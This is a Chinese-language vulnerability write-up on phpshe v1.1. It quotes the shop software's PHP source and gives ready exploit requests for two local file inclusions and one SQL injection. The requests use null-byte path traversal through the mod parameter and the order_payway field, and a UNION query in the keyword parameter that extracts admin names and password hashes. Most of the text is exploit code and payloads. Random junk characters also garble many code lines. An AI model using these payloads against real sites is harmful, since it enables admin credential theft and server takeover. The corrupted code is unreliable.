phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
8 t* \$ R8 Q- q) j; @* v5 k/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
" ~$ U( Z4 B/ R( B. ^0×00 整体大概参数传输


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//common.php
9 J, ]$ L, [) r9 Yif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
) r3 o( {6 {0 C7 Q" z8 {}
else {
$ D6 V; x4 n# U!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
  S! r# K7 p# e5 w2 P% F!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! Y1 U9 D$ @* Q) x( O' L; {  Y}
session_start();
+ F. ?4 p4 R+ d4 S& l3 }1 \% e!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
# ~! b4 [2 s- @  w, a7 u!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
) P  B; B+ Y0 R3 N: y& ?( y5 q1 V
( d- V/ F5 V# m& G" X9 W0×01 包含漏洞
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//首页文件
! O; q* ]" m9 z* ?& f& J2 b' B% N- U<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
; Y# y4 R8 j. G4 G2 k5 ^?>
$ ]1 X" u3 O; y7 o3 N  i//common 文件 第15行开始
% h7 L7 N  e' Wurl路由配置
0 p  c3 b3 M! g2 m" d* L5 C$module = $mod = $act = 'index';
( e2 U1 r. J! e' z' D' Y5 F8 b$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
; u2 [; \) |4 f$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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5 }2 x/ Y- a/ I! b) }6 Y<code id="code2">

//product.php文件
case 'list':
- ~' t% k7 l4 a' X$ N& W* a2 ]$category_id = intval($id);
" t, Z. \9 @- z1 E/ G! Z. w$info = $db->pe_select('category', array('category_id'=>$category_id));
7 p* q: y& z2 |. H( a  p3 t! d  ]//搜索
$sqlwhere = " and `product_state` = 1";
, R( F2 ^1 C! w, s: B6 M5 tpe_lead('hook/category.hook.php');
3 M+ q5 O) q3 n, Zif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- c% R7 k$ G4 N% |8 s}
3 `2 y; [, G  P7 q) v$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
3 C4 o- O3 u& Q( y5 m5 R3 cif ($_g_orderby) {
( ~# B! t+ F+ _4 l! l, Y$ I- ~" C$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
0 `% L. j! u1 r# T4 U, u- ?$ r8 X}
else {
$sqlwhere .= " order by `product_id` desc";
}
9 l, e5 B2 n* t. B. y. _: F$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
. C, B+ M' s% p$nowpath = category_path($category_id);
9 B1 Q$ u0 g" V3 d: T$seo = pe_seo($info['category_name']);
/ S4 ]6 t  [& uinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
; P+ C! d$ K" W8 b7 e! H2 N7 E% W//处理条件语句
8 U5 y# y% k9 ~  l4 A9 J' P8 k( R$ z$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
' |) V1 e. G" Y' J' l% F}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

7 E5 ~9 V+ k1 [0 H0×03 包含漏洞2
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9 i% H* ]5 u# ]& S9 e<code id="code3">

//order.php

case 'pay':

% b0 K/ E, b6 w; p8 \$order_id = pe_dbhold($_g_id);

" Q+ X3 \7 ?+ `2 [- C$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

" u: d7 O" t" N$ k3 dif ($k == 'bank') {

6 ^( m6 S8 t2 E+ e2 x+ ^$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( Q9 _) s. F: b5 w+ ^: i}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

- v% r5 ]; g* n6 \# L9 e% ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' t1 K8 W$ |1 |; K+ Hforeach ($info_list as $v) {

7 I% b0 Q/ V) U, l! ?; i- ]$order['order_name'] .= "{$v['product_name']};";

! t- u6 K4 O$ C5 V) Y0 w}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  U+ J: x2 u" b* ~( L& s2 X}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

) b  I6 P& V" M( [2 p% u}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

4 J3 m7 |' F- f6 X0 z% `# F8 P; |break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>